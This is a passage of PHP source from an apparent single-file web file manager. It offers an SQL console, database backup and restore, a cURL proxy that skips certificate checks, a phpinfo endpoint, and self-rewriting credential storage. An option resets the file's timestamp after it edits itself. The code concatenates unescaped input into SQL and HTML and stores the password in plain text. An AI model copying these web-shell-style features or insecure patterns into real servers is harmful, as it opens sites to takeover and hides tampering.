	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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